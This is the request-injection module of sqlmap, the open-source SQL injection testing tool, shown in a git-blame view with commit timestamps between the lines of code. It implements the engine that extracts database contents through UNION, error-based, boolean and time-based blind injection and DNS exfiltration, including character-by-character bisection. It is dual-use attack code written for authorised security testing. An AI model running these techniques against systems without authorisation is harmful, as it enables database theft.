2019-05-08 12:47:52 +02:00
#!/usr/bin/env python
2008-10-15 15:38:22 +00:00
"""
2023-01-02 23:24:59 +01:00
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
2017-10-11 14:50:46 +02:00
See the file ' LICENSE ' for copying permission
2008-10-15 15:38:22 +00:00
"""
2019-01-22 01:28:24 +01:00
from __future__ import print_function
2008-10-15 15:38:22 +00:00
import re
import time
from lib . core . agent import agent
2012-02-16 09:46:41 +00:00
from lib . core . bigarray import BigArray
2020-11-05 10:59:36 +01:00
from lib . core . common import applyFunctionRecursively
2011-01-28 16:36:09 +00:00
from lib . core . common import Backend
2010-05-13 11:05:35 +00:00
from lib . core . common import calculateDeltaSeconds
2008-10-15 15:38:22 +00:00
from lib . core . common import cleanQuery
from lib . core . common import expandAsteriskForColumns
2012-02-17 14:22:48 +00:00
from lib . core . common import extractExpectedValue
2019-03-29 02:28:16 +01:00
from lib . core . common import filterNone
2010-12-15 12:10:33 +00:00
from lib . core . common import getPublicTypeMembers
2019-07-01 10:43:05 +02:00
from lib . core . common import getTechnique
2013-02-12 17:35:14 +01:00
from lib . core . common import getTechniqueData
2012-02-24 13:07:20 +00:00
from lib . core . common import hashDBRetrieve
from lib . core . common import hashDBWrite
2010-12-18 09:51:34 +00:00
from lib . core . common import initTechnique
2019-10-07 14:20:18 +02:00
from lib . core . common import isDigit
2012-05-28 14:51:23 +00:00
from lib . core . common import isNoneValue
2011-01-18 23:02:11 +00:00
from lib . core . common import isNumPosStrValue
2010-12-15 12:10:33 +00:00
from lib . core . common import isTechniqueAvailable
2008-12-10 17:23:07 +00:00
from lib . core . common import parseUnionPage
2010-10-11 13:52:32 +00:00
from lib . core . common import popValue
from lib . core . common import pushValue
2013-01-31 10:01:52 +01:00
from lib . core . common import randomStr
2008-10-15 15:38:22 +00:00
from lib . core . common import readInput
2019-07-01 10:43:05 +02:00
from lib . core . common import setTechnique
2012-03-08 15:43:22 +00:00
from lib . core . common import singleTimeWarnMessage
2019-03-28 16:04:38 +01:00
from lib . core . compat import xrange
2008-10-15 15:38:22 +00:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
from lib . core . data import queries
2019-07-18 14:59:42 +02:00
from lib . core . decorators import lockedmethod
2018-04-01 12:45:47 +02:00
from lib . core . decorators import stackedmethod
2012-08-21 11:19:15 +02:00
from lib . core . dicts import FROM_DUMMY_TABLE
2012-03-01 10:10:19 +00:00
from lib . core . enums import CHARSET_TYPE
2010-11-08 09:20:02 +00:00
from lib . core . enums import DBMS
2010-12-10 12:30:36 +00:00
from lib . core . enums import EXPECTED
2010-12-08 13:04:48 +00:00
from lib . core . enums import PAYLOAD
2014-10-21 09:23:34 +02:00
from lib . core . exception import SqlmapConnectionException
2015-10-11 15:20:10 +02:00
from lib . core . exception import SqlmapDataException
2012-12-06 14:14:19 +01:00
from lib . core . exception import SqlmapNotVulnerableException
from lib . core . exception import SqlmapUserQuitException
2017-07-05 12:35:48 +02:00
from lib . core . settings import GET_VALUE_UPPERCASE_KEYWORDS
2017-10-31 11:05:25 +01:00
from lib . core . settings import INFERENCE_MARKER
2010-12-21 15:26:23 +00:00
from lib . core . settings import MAX_TECHNIQUES_PER_VALUE
2011-05-19 16:45:05 +00:00
from lib . core . settings import SQL_SCALAR_REGEX
2017-12-27 12:23:35 +01:00
from lib . core . settings import UNICODE_ENCODING
2011-01-07 16:39:47 +00:00
from lib . core . threads import getCurrentThreadData
2008-11-12 00:36:50 +00:00
from lib . request . connect import Connect as Request
2010-03-31 10:50:47 +00:00
from lib . request . direct import direct
2008-11-12 23:44:09 +00:00
from lib . techniques . blind . inference import bisection
2012-06-21 10:09:10 +00:00
from lib . techniques . blind . inference import queryOutputLength
2012-04-04 12:42:58 +00:00
from lib . techniques . dns . test import dnsTest
2012-04-02 14:05:30 +00:00
from lib . techniques . dns . use import dnsUse
2010-10-20 09:09:04 +00:00
from lib . techniques . error . use import errorUse
2012-04-02 14:05:30 +00:00
from lib . techniques . union . use import unionUse
2019-03-28 13:53:54 +01:00
from thirdparty import six
2008-10-15 15:38:22 +00:00
2012-12-06 14:14:19 +01:00
def _goDns ( payload , expression ) :
2012-07-11 11:55:05 +01:00
value = None
2016-10-22 21:52:18 +02:00
if conf . dnsDomain and kb . dnsTest is not False and not kb . testMode and Backend . getDbms ( ) is not None :
2012-07-11 11:55:05 +01:00
if kb . dnsTest is None :
dnsTest ( payload )
if kb . dnsTest :
value = dnsUse ( payload , expression )
return value
2012-12-06 14:14:19 +01:00
def _goInference ( payload , expression , charsetType = None , firstChar = None , lastChar = None , dump = False , field = None ) :
2008-11-12 00:36:50 +00:00
start = time . time ( )
2012-04-02 14:05:30 +00:00
value = None
count = 0
2012-12-06 14:14:19 +01:00
value = _goDns ( payload , expression )
2008-10-15 15:38:22 +00:00
2018-05-17 23:07:52 +02:00
if payload is None :
return None
2014-06-27 13:07:34 +02:00
if value is not None :
2012-07-11 11:55:05 +01:00
return value
2011-01-16 17:52:42 +00:00
2019-07-01 10:43:05 +02:00
timeBasedCompare = ( getTechnique ( ) in ( PAYLOAD . TECHNIQUE . TIME , PAYLOAD . TECHNIQUE . STACKED ) )
2008-10-15 15:38:22 +00:00
2019-06-04 13:04:31 +02:00
if timeBasedCompare and conf . threads > 1 and kb . forceThreads is None :
msg = " multi-threading is considered unsafe in "
msg + = " time-based data retrieval. Are you sure "
msg + = " of your choice (breaking warranty) [y/N] "
kb . forceThreads = readInput ( msg , default = ' N ' , boolean = True )
2012-07-11 11:55:05 +01:00
if not ( timeBasedCompare and kb . dnsTest ) :
2019-06-01 16:33:27 +02:00
if ( conf . eta or conf . threads > 1 ) and Backend . getIdentifiedDbms ( ) and not re . search ( r " (COUNT|LTRIM) \ ( " , expression , re . I ) and not ( timeBasedCompare and not kb . forceThreads ) :
2013-01-31 10:01:52 +01:00
2017-10-31 11:38:09 +01:00
if field and re . search ( r " \ ASELECT \ s+DISTINCT \ ((.+?) \ ) \ s+FROM " , expression , re . I ) :
2020-02-03 11:33:19 +01:00
if Backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . PGSQL , DBMS . MONETDB , DBMS . VERTICA , DBMS . CRATEDB , DBMS . CUBRID ) :
2020-01-17 17:14:41 +01:00
alias = randomStr ( lowercase = True , seed = hash ( expression ) )
expression = " SELECT %s FROM ( %s ) " % ( field if ' . ' not in field else re . sub ( r " .+ \ . " , " %s . " % alias , field ) , expression ) # Note: MonetDB as a prime example
expression + = " AS %s " % alias
else :
expression = " SELECT %s FROM ( %s ) " % ( field , expression )
2013-01-31 10:01:52 +01:00
2021-01-11 17:36:23 +01:00
if field and conf . hexConvert or conf . binaryFields and field in conf . binaryFields or Backend . getIdentifiedDbms ( ) in ( DBMS . RAIMA , ) :
2013-01-15 17:51:40 +00:00
nulledCastedField = agent . nullAndCastField ( field )
injExpression = expression . replace ( field , nulledCastedField , 1 )
else :
injExpression = expression
length = queryOutputLength ( injExpression , payload )
2012-07-11 11:55:05 +01:00
else :
length = None
2008-10-15 15:38:22 +00:00
2012-07-11 11:55:05 +01:00
kb . inferenceMode = True
count , value = bisection ( payload , expression , length , charsetType , firstChar , lastChar , dump )
kb . inferenceMode = False
2008-10-15 15:38:22 +00:00
2012-07-11 11:55:05 +01:00
if not kb . bruteMode :
2020-10-27 14:57:12 +01:00
debugMsg = " performed %d quer %s in %.2f seconds " % ( count , ' y ' if count == 1 else " ies " , calculateDeltaSeconds ( start ) )
2012-07-11 11:55:05 +01:00
logger . debug ( debugMsg )
2012-04-03 09:18:30 +00:00
return value
2012-12-06 14:14:19 +01:00
def _goInferenceFields ( expression , expressionFields , expressionFieldsList , payload , num = None , charsetType = None , firstChar = None , lastChar = None , dump = False ) :
2011-01-18 23:02:11 +00:00
outputs = [ ]
origExpr = None
2008-10-15 15:38:22 +00:00
for field in expressionFieldsList :
output = None
2008-12-23 23:34:50 +00:00
if field . startswith ( " ROWNUM " ) :
continue
2008-12-22 19:36:01 +00:00
if isinstance ( num , int ) :
2011-01-18 23:02:11 +00:00
origExpr = expression
2013-04-15 15:57:28 +02:00
expression = agent . limitQuery ( num , expression , field , expressionFieldsList [ 0 ] )
2008-12-22 19:36:01 +00:00
2008-12-23 23:34:50 +00:00
if " ROWNUM " in expressionFieldsList :
expressionReplaced = expression
2009-01-22 22:28:27 +00:00
else :
expressionReplaced = expression . replace ( expressionFields , field , 1 )
2008-12-23 23:34:50 +00:00
2012-12-06 14:14:19 +01:00
output = _goInference ( payload , expressionReplaced , charsetType , firstChar , lastChar , dump , field )
2008-10-15 15:38:22 +00:00
2008-12-22 19:36:01 +00:00
if isinstance ( num , int ) :
expression = origExpr
2008-10-15 15:38:22 +00:00
outputs . append ( output )
return outputs
2012-12-06 14:14:19 +01:00
def _goInferenceProxy ( expression , fromUser = False , batch = False , unpack = True , charsetType = None , firstChar = None , lastChar = None , dump = False ) :
2008-10-15 15:38:22 +00:00
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
2010-10-25 14:11:47 +00:00
2019-07-01 10:43:05 +02:00
initTechnique ( getTechnique ( ) )
2010-12-18 09:51:34 +00:00
2019-07-18 11:27:00 +02:00
query = agent . prefixQuery ( getTechniqueData ( ) . vector )
2010-12-13 21:33:42 +00:00
query = agent . suffixQuery ( query )
payload = agent . payload ( newValue = query )
count = None
startLimit = 0
stopLimit = None
2011-07-24 09:19:33 +00:00
outputs = BigArray ( )
2008-10-15 15:38:22 +00:00
2010-01-02 02:02:12 +00:00
if not unpack :
2012-12-06 14:14:19 +01:00
return _goInference ( payload , expression , charsetType , firstChar , lastChar , dump )
2009-04-22 11:48:07 +00:00
2011-01-19 23:06:15 +00:00
_ , _ , _ , _ , _ , expressionFieldsList , expressionFields , _ = agent . getFields ( expression )
2008-10-15 15:38:22 +00:00
2017-10-31 11:38:09 +01:00
rdbRegExp = re . search ( r " RDB \ $GET_CONTEXT \ ([^)]+ \ ) " , expression , re . I )
2011-04-30 14:54:29 +00:00
if rdbRegExp and Backend . isDbms ( DBMS . FIREBIRD ) :
2011-01-19 23:06:15 +00:00
expressionFieldsList = [ expressionFields ]
2008-10-15 15:38:22 +00:00
2011-01-19 23:06:15 +00:00
if len ( expressionFieldsList ) > 1 :
2012-04-04 23:34:08 +00:00
infoMsg = " the SQL query provided has more than one field. "
2011-01-19 23:06:15 +00:00
infoMsg + = " sqlmap will now unpack it into distinct queries "
infoMsg + = " to be able to retrieve the output even if we "
infoMsg + = " are going blind "
logger . info ( infoMsg )
2008-10-15 15:38:22 +00:00
2011-01-19 23:06:15 +00:00
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
2012-12-19 12:17:56 +00:00
# forge the SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table
2011-01-19 23:06:15 +00:00
# can return multiple entries
2021-02-14 14:47:28 +01:00
if fromUser and " FROM " in expression . upper ( ) and ( ( Backend . getIdentifiedDbms ( ) not in FROM_DUMMY_TABLE ) or ( Backend . getIdentifiedDbms ( ) in FROM_DUMMY_TABLE and not expression . upper ( ) . endswith ( FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ] ) ) ) and not re . search ( SQL_SCALAR_REGEX , expression , re . I ) and hasattr ( queries [ Backend . getIdentifiedDbms ( ) ] . limitregexp , " query " ) :
2012-12-19 12:17:56 +00:00
expression , limitCond , topLimit , startLimit , stopLimit = agent . limitCondition ( expression )
2011-02-01 22:27:36 +00:00
2011-01-19 23:06:15 +00:00
if limitCond :
2012-10-20 13:17:45 +02:00
test = True
2012-12-19 12:17:56 +00:00
2011-01-19 23:06:15 +00:00
if not stopLimit or stopLimit < = 1 :
2012-02-07 14:57:48 +00:00
if Backend . getIdentifiedDbms ( ) in FROM_DUMMY_TABLE and expression . upper ( ) . endswith ( FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ] ) :
2011-01-19 23:06:15 +00:00
test = False
if test :
# Count the number of SQL query entries output
2011-01-28 16:36:09 +00:00
countFirstField = queries [ Backend . getIdentifiedDbms ( ) ] . count . query % expressionFieldsList [ 0 ]
2011-01-19 23:06:15 +00:00
countedExpression = expression . replace ( expressionFields , countFirstField , 1 )
2015-10-19 10:38:38 +02:00
if " ORDER BY " in countedExpression . upper ( ) :
2012-12-19 12:17:56 +00:00
_ = countedExpression . upper ( ) . rindex ( " ORDER BY " )
countedExpression = countedExpression [ : _ ]
2011-01-19 23:06:15 +00:00
if not stopLimit :
2012-12-06 14:14:19 +01:00
count = _goInference ( payload , countedExpression , charsetType = CHARSET_TYPE . DIGITS , firstChar = firstChar , lastChar = lastChar )
2011-01-19 23:06:15 +00:00
if isNumPosStrValue ( count ) :
count = int ( count )
2013-11-19 00:24:47 +00:00
if batch or count == 1 :
2011-01-19 23:06:15 +00:00
stopLimit = count
else :
message = " the SQL query provided can return "
message + = " %d entries. How many " % count
message + = " entries do you want to retrieve? \n "
message + = " [a] All (default) \n [#] Specific number \n "
message + = " [q] Quit "
2017-04-19 14:46:27 +02:00
choice = readInput ( message , default = ' A ' ) . upper ( )
2011-01-19 23:06:15 +00:00
2017-04-18 15:48:05 +02:00
if choice == ' A ' :
2008-10-15 15:38:22 +00:00
stopLimit = count
2017-04-18 15:48:05 +02:00
elif choice == ' Q ' :
2012-12-06 14:14:19 +01:00
raise SqlmapUserQuitException
2008-10-15 15:38:22 +00:00
2019-10-07 14:20:18 +02:00
elif isDigit ( choice ) and int ( choice ) > 0 and int ( choice ) < = count :
2017-04-18 15:48:05 +02:00
stopLimit = int ( choice )
2008-10-15 15:38:22 +00:00
2011-01-19 23:06:15 +00:00
infoMsg = " sqlmap is now going to retrieve the "
infoMsg + = " first %d query output entries " % stopLimit
logger . info ( infoMsg )
2008-10-15 15:38:22 +00:00
2017-04-18 15:48:05 +02:00
elif choice in ( ' # ' , ' S ' ) :
2011-01-19 23:06:15 +00:00
message = " how many? "
stopLimit = readInput ( message , default = " 10 " )
2008-10-15 15:38:22 +00:00
2019-10-07 14:20:18 +02:00
if not isDigit ( stopLimit ) :
2011-01-18 23:02:11 +00:00
errMsg = " invalid choice "
2009-04-22 11:48:07 +00:00
logger . error ( errMsg )
return None
2008-10-15 15:38:22 +00:00
2011-01-19 23:06:15 +00:00
else :
stopLimit = int ( stopLimit )
else :
errMsg = " invalid choice "
logger . error ( errMsg )
2008-12-17 20:11:18 +00:00
2011-01-19 23:06:15 +00:00
return None
2008-12-17 20:11:18 +00:00
2019-10-07 14:20:18 +02:00
elif count and not isDigit ( count ) :
2011-01-19 23:06:15 +00:00
warnMsg = " it was not possible to count the number "
warnMsg + = " of entries for the SQL query provided. "
warnMsg + = " sqlmap will assume that it returns only "
warnMsg + = " one entry "
2022-06-22 12:04:34 +02:00
logger . warning ( warnMsg )
2008-10-15 15:38:22 +00:00
2011-01-19 23:06:15 +00:00
stopLimit = 1
2008-10-15 15:38:22 +00:00
2023-09-07 11:03:01 +02:00
elif not isNumPosStrValue ( count ) :
2012-01-07 17:45:45 +00:00
if not count :
warnMsg = " the SQL query provided does not "
warnMsg + = " return any output "
2022-06-22 12:04:34 +02:00
logger . warning ( warnMsg )
2008-10-15 15:38:22 +00:00
return None
2012-02-17 14:22:48 +00:00
elif ( not stopLimit or stopLimit == 0 ) :
2011-01-19 23:06:15 +00:00
return None
2008-10-15 15:38:22 +00:00
2011-01-19 23:06:15 +00:00
try :
2015-10-11 15:20:10 +02:00
try :
2020-11-16 10:28:53 +01:00
for num in xrange ( startLimit or 0 , stopLimit or 0 ) :
2015-10-11 15:20:10 +02:00
output = _goInferenceFields ( expression , expressionFields , expressionFieldsList , payload , num = num , charsetType = charsetType , firstChar = firstChar , lastChar = lastChar , dump = dump )
outputs . append ( output )
except OverflowError :
errMsg = " boundary limits ( %d , %d ) are too large. Please rerun " % ( startLimit , stopLimit )
errMsg + = " with switch ' --fresh-queries ' "
raise SqlmapDataException ( errMsg )
2008-10-15 15:38:22 +00:00
2011-01-19 23:06:15 +00:00
except KeyboardInterrupt :
2019-01-22 01:28:24 +01:00
print ( )
2011-04-08 10:39:07 +00:00
warnMsg = " user aborted during dumping phase "
2022-06-22 12:04:34 +02:00
logger . warning ( warnMsg )
2008-10-15 15:38:22 +00:00
2011-01-19 23:06:15 +00:00
return outputs
2012-02-07 12:05:23 +00:00
elif Backend . getIdentifiedDbms ( ) in FROM_DUMMY_TABLE and expression . upper ( ) . startswith ( " SELECT " ) and " FROM " not in expression . upper ( ) :
expression + = FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ]
2011-01-19 23:06:15 +00:00
2012-12-06 14:14:19 +01:00
outputs = _goInferenceFields ( expression , expressionFields , expressionFieldsList , payload , charsetType = charsetType , firstChar = firstChar , lastChar = lastChar , dump = dump )
2008-10-15 15:38:22 +00:00
2016-06-13 15:30:38 +02:00
return " , " . join ( output or " " for output in outputs ) if not isNoneValue ( outputs ) else None
2008-10-15 15:38:22 +00:00
2012-12-06 14:14:19 +01:00
def _goBooleanProxy ( expression ) :
2011-01-18 23:02:11 +00:00
"""
Retrieve the output of a boolean based SQL query
"""
2019-07-01 10:43:05 +02:00
initTechnique ( getTechnique ( ) )
2011-01-18 23:02:11 +00:00
2016-10-22 21:52:18 +02:00
if conf . dnsDomain :
2019-07-18 11:27:00 +02:00
query = agent . prefixQuery ( getTechniqueData ( ) . vector )
2014-07-19 23:17:23 +02:00
query = agent . suffixQuery ( query )
payload = agent . payload ( newValue = query )
output = _goDns ( payload , expression )
if output is not None :
return output
2014-06-27 13:07:34 +02:00
2019-07-18 11:27:00 +02:00
vector = getTechniqueData ( ) . vector
2017-10-31 11:05:25 +01:00
vector = vector . replace ( INFERENCE_MARKER , expression )
2014-06-27 14:22:00 +02:00
query = agent . prefixQuery ( vector )
query = agent . suffixQuery ( query )
payload = agent . payload ( newValue = query )
2019-07-01 10:43:05 +02:00
timeBasedCompare = getTechnique ( ) in ( PAYLOAD . TECHNIQUE . TIME , PAYLOAD . TECHNIQUE . STACKED )
2011-01-18 23:02:11 +00:00
2012-07-12 01:39:15 +01:00
output = hashDBRetrieve ( expression , checkConf = True )
2011-01-18 23:02:11 +00:00
2012-05-09 08:41:05 +00:00
if output is None :
2011-01-18 23:02:11 +00:00
output = Request . queryPage ( payload , timeBasedCompare = timeBasedCompare , raise404 = False )
2012-05-09 08:41:05 +00:00
if output is not None :
hashDBWrite ( expression , output )
2012-02-17 14:22:48 +00:00
2011-01-18 23:02:11 +00:00
return output
2012-12-06 14:14:19 +01:00
def _goUnion ( expression , unpack = True , dump = False ) :
2008-10-15 15:38:22 +00:00
"""
2012-10-28 00:36:09 +02:00
Retrieve the output of a SQL query taking advantage of an union SQL
2008-10-15 15:38:22 +00:00
injection vulnerability on the affected parameter.
"""
2012-02-17 14:22:48 +00:00
output = unionUse ( expression , unpack = unpack , dump = dump )
2012-07-12 15:38:43 +01:00
2019-03-28 13:53:54 +01:00
if isinstance ( output , six . string_types ) :
2012-06-15 20:41:53 +00:00
output = parseUnionPage ( output )
2008-10-15 15:38:22 +00:00
2012-02-17 14:22:48 +00:00
return output
2008-10-15 15:38:22 +00:00
2019-07-18 14:59:42 +02:00
@lockedmethod
2018-04-01 12:45:47 +02:00
@stackedmethod
2012-10-28 00:36:09 +02:00
def getValue ( expression , blind = True , union = True , error = True , time = True , fromUser = False , expected = None , batch = False , unpack = True , resumeValue = True , charsetType = None , firstChar = None , lastChar = None , dump = False , suppressOutput = None , expectingNone = False , safeCharEncode = True ) :
2008-10-15 15:38:22 +00:00
"""
Called each time sqlmap inject a SQL query on the SQL injection
2012-10-28 00:36:09 +02:00
affected parameter.
2008-10-15 15:38:22 +00:00
"""
2012-10-28 00:19:00 +02:00
2019-02-28 01:05:23 +01:00
if conf . hexConvert and expected != EXPECTED . BOOL and Backend . getIdentifiedDbms ( ) :
2019-02-07 16:45:16 +01:00
if not hasattr ( queries [ Backend . getIdentifiedDbms ( ) ] , " hex " ) :
warnMsg = " switch ' --hex ' is currently not supported on DBMS %s " % Backend . getIdentifiedDbms ( )
singleTimeWarnMessage ( warnMsg )
conf . hexConvert = False
else :
charsetType = CHARSET_TYPE . HEXADECIMAL
2012-10-28 12:22:33 +01:00
2011-07-25 20:40:31 +00:00
kb . safeCharEncode = safeCharEncode
2012-02-17 14:22:48 +00:00
kb . resumeValues = resumeValue
2011-07-25 20:40:31 +00:00
2017-07-05 12:35:48 +02:00
for keyword in GET_VALUE_UPPERCASE_KEYWORDS :
2017-10-31 11:38:09 +01:00
expression = re . sub ( r " (?i)( \ A| \ (| \ )| \ s) %s ( \ Z| \ (| \ )| \ s) " % keyword , r " \ g<1> %s \ g<2> " % keyword , expression )
2017-07-05 12:15:14 +02:00
2011-02-20 12:20:44 +00:00
if suppressOutput is not None :
pushValue ( getCurrentThreadData ( ) . disableStdOut )
getCurrentThreadData ( ) . disableStdOut = suppressOutput
2010-10-19 12:02:04 +00:00
2010-12-08 22:38:26 +00:00
try :
2014-08-26 22:57:08 +02:00
pushValue ( conf . db )
pushValue ( conf . tbl )
2012-02-14 17:29:00 +00:00
if expected == EXPECTED . BOOL :
forgeCaseExpression = booleanExpression = expression
2017-07-05 12:15:14 +02:00
if expression . startswith ( " SELECT " ) :
2013-01-17 21:03:03 +00:00
booleanExpression = " ( %s )= %s " % ( booleanExpression , " ' 1 ' " if " ' 1 ' " in booleanExpression else " 1 " )
2012-02-14 17:29:00 +00:00
else :
forgeCaseExpression = agent . forgeCaseStatement ( expression )
2010-12-08 22:38:26 +00:00
if conf . direct :
2012-07-12 15:38:43 +01:00
value = direct ( forgeCaseExpression if expected == EXPECTED . BOOL else expression )
2010-12-15 12:15:43 +00:00
2016-12-19 23:47:39 +01:00
elif any ( isTechniqueAvailable ( _ ) for _ in getPublicTypeMembers ( PAYLOAD . TECHNIQUE , onlyValues = True ) ) :
2010-12-10 15:06:53 +00:00
query = cleanQuery ( expression )
query = expandAsteriskForColumns ( query )
2010-12-10 15:24:25 +00:00
value = None
found = False
2012-07-12 15:38:43 +01:00
count = 0
2011-01-18 23:02:11 +00:00
2012-11-29 12:21:12 +01:00
if query and not re . search ( r " COUNT.*FROM.* \ (.*DISTINCT " , query , re . I ) :
2010-12-27 14:17:20 +00:00
query = query . replace ( " DISTINCT " , " " )
2011-01-18 23:02:11 +00:00
2012-07-30 21:50:46 +02:00
if not conf . forceDns :
2012-10-28 00:36:09 +02:00
if union and isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) :
2019-07-01 10:43:05 +02:00
setTechnique ( PAYLOAD . TECHNIQUE . UNION )
2014-08-22 15:08:05 +02:00
kb . forcePartialUnion = kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . vector [ 8 ]
2014-10-21 09:23:34 +02:00
fallback = not expected and kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . where == PAYLOAD . WHERE . ORIGINAL and not kb . forcePartialUnion
2020-02-07 14:02:45 +01:00
if expected == EXPECTED . BOOL :
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
if not any ( _ in forgeCaseExpression for _ in ( " SELECT " , " CASE " ) ) :
forgeCaseExpression = " (CASE WHEN ( %s ) THEN ' 1 ' ELSE ' 0 ' END) " % forgeCaseExpression
2014-10-21 09:23:34 +02:00
try :
value = _goUnion ( forgeCaseExpression if expected == EXPECTED . BOOL else query , unpack , dump )
except SqlmapConnectionException :
if not fallback :
raise
2012-07-30 21:50:46 +02:00
count + = 1
found = ( value is not None ) or ( value is None and expectingNone ) or count > = MAX_TECHNIQUES_PER_VALUE
2014-10-21 09:23:34 +02:00
if not found and fallback :
2013-07-31 21:15:03 +02:00
warnMsg = " something went wrong with full UNION "
2014-08-20 23:47:57 +02:00
warnMsg + = " technique (could be because of "
2014-08-20 23:53:15 +02:00
warnMsg + = " limitation on retrieved number of entries) "
if " FROM " in query . upper ( ) :
warnMsg + = " . Falling back to partial UNION technique "
singleTimeWarnMessage ( warnMsg )
2015-07-18 17:01:34 +02:00
try :
pushValue ( kb . forcePartialUnion )
kb . forcePartialUnion = True
value = _goUnion ( query , unpack , dump )
found = ( value is not None ) or ( value is None and expectingNone )
finally :
kb . forcePartialUnion = popValue ( )
2014-08-20 23:53:15 +02:00
else :
singleTimeWarnMessage ( warnMsg )
2013-07-31 21:15:03 +02:00
2012-12-05 10:45:17 +01:00
if error and any ( isTechniqueAvailable ( _ ) for _ in ( PAYLOAD . TECHNIQUE . ERROR , PAYLOAD . TECHNIQUE . QUERY ) ) and not found :
2019-07-01 10:43:05 +02:00
setTechnique ( PAYLOAD . TECHNIQUE . ERROR if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . ERROR ) else PAYLOAD . TECHNIQUE . QUERY )
2012-07-30 21:50:46 +02:00
value = errorUse ( forgeCaseExpression if expected == EXPECTED . BOOL else query , dump )
count + = 1
found = ( value is not None ) or ( value is None and expectingNone ) or count > = MAX_TECHNIQUES_PER_VALUE
2016-10-22 21:52:18 +02:00
if found and conf . dnsDomain :
2019-03-29 02:28:16 +01:00
_ = " " . join ( filterNone ( key if isTechniqueAvailable ( value ) else None for key , value in { ' E ' : PAYLOAD . TECHNIQUE . ERROR , ' Q ' : PAYLOAD . TECHNIQUE . QUERY , ' U ' : PAYLOAD . TECHNIQUE . UNION } . items ( ) ) )
2012-07-30 21:50:46 +02:00
warnMsg = " option ' --dns-domain ' will be ignored "
warnMsg + = " as faster techniques are usable "
warnMsg + = " ( %s ) " % _
singleTimeWarnMessage ( warnMsg )
2012-07-27 09:48:48 +02:00
2010-12-15 12:10:33 +00:00
if blind and isTechniqueAvailable ( PAYLOAD . TECHNIQUE . BOOLEAN ) and not found :
2019-07-01 10:43:05 +02:00
setTechnique ( PAYLOAD . TECHNIQUE . BOOLEAN )
2010-12-13 21:33:42 +00:00
2010-12-10 12:30:36 +00:00
if expected == EXPECTED . BOOL :
2012-12-06 14:14:19 +01:00
value = _goBooleanProxy ( booleanExpression )
2010-12-09 21:15:18 +00:00
else :
2012-12-06 14:14:19 +01:00
value = _goInferenceProxy ( query , fromUser , batch , unpack , charsetType , firstChar , lastChar , dump )
2010-12-13 21:33:42 +00:00
2010-12-21 15:24:14 +00:00
count + = 1
2010-12-31 12:04:39 +00:00
found = ( value is not None ) or ( value is None and expectingNone ) or count > = MAX_TECHNIQUES_PER_VALUE
2010-12-08 12:49:26 +00:00
2010-12-15 12:10:33 +00:00
if time and ( isTechniqueAvailable ( PAYLOAD . TECHNIQUE . TIME ) or isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) ) and not found :
2018-06-29 23:57:20 +02:00
match = re . search ( r " \ bFROM \ b ([^ ]+).+ORDER BY ([^ ]+) " , expression )
kb . responseTimeMode = " %s | %s " % ( match . group ( 1 ) , match . group ( 2 ) ) if match else None
2016-01-09 17:32:19 +01:00
2010-12-15 12:10:33 +00:00
if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . TIME ) :
2019-07-01 10:43:05 +02:00
setTechnique ( PAYLOAD . TECHNIQUE . TIME )
2010-12-15 12:10:33 +00:00
else :
2019-07-01 10:43:05 +02:00
setTechnique ( PAYLOAD . TECHNIQUE . STACKED )
2010-12-08 12:28:54 +00:00
2010-12-10 16:03:32 +00:00
if expected == EXPECTED . BOOL :
2012-12-06 14:14:19 +01:00
value = _goBooleanProxy ( booleanExpression )
2010-12-10 16:03:32 +00:00
else :
2012-12-06 14:14:19 +01:00
value = _goInferenceProxy ( query , fromUser , batch , unpack , charsetType , firstChar , lastChar , dump )
2010-12-08 22:38:26 +00:00
else :
errMsg = " none of the injection types identified can be "
errMsg + = " leveraged to retrieve queries output "
2013-01-03 23:20:55 +01:00
raise SqlmapNotVulnerableException ( errMsg )
2010-12-15 12:34:14 +00:00
2010-12-08 22:38:26 +00:00
finally :
2012-02-17 14:22:48 +00:00
kb . resumeValues = True
2016-01-09 17:32:19 +01:00
kb . responseTimeMode = None
2012-07-12 15:38:43 +01:00
2014-08-26 22:57:08 +02:00
conf . tbl = popValue ( )
conf . db = popValue ( )
2014-08-28 12:50:39 +02:00
if suppressOutput is not None :
getCurrentThreadData ( ) . disableStdOut = popValue ( )
2011-07-25 20:40:31 +00:00
kb . safeCharEncode = False
2011-04-09 23:13:16 +00:00
2020-03-26 14:58:58 +01:00
if not any ( ( kb . testMode , conf . dummy , conf . offline , conf . noCast , conf . hexConvert ) ) and value is None and Backend . getDbms ( ) and conf . dbmsHandler and kb . fingerprinted :
2023-01-23 16:40:41 +01:00
if conf . abortOnEmpty :
errMsg = " aborting due to empty data retrieval "
logger . critical ( errMsg )
raise SystemExit
else :
warnMsg = " in case of continuous data retrieval problems you are advised to try "
warnMsg + = " a switch ' --no-cast ' "
warnMsg + = " or switch ' --hex ' " if hasattr ( queries [ Backend . getIdentifiedDbms ( ) ] , " hex " ) else " "
singleTimeWarnMessage ( warnMsg )
2012-03-08 15:43:22 +00:00
2020-11-05 10:59:36 +01:00
# Dirty patch (MSSQL --binary-fields with 0x31003200...)
if Backend . isDbms ( DBMS . MSSQL ) and conf . binaryFields :
def _ ( value ) :
if isinstance ( value , six . text_type ) :
if value . startswith ( u " 0x " ) :
value = value [ 2 : ]
if value and len ( value ) % 4 == 0 :
candidate = " "
for i in xrange ( len ( value ) ) :
if i % 4 < 2 :
candidate + = value [ i ]
elif value [ i ] != ' 0 ' :
candidate = None
break
if candidate :
value = candidate
return value
value = applyFunctionRecursively ( value , _ )
2017-12-27 12:23:35 +01:00
# Dirty patch (safe-encoded unicode characters)
2019-04-19 11:24:34 +02:00
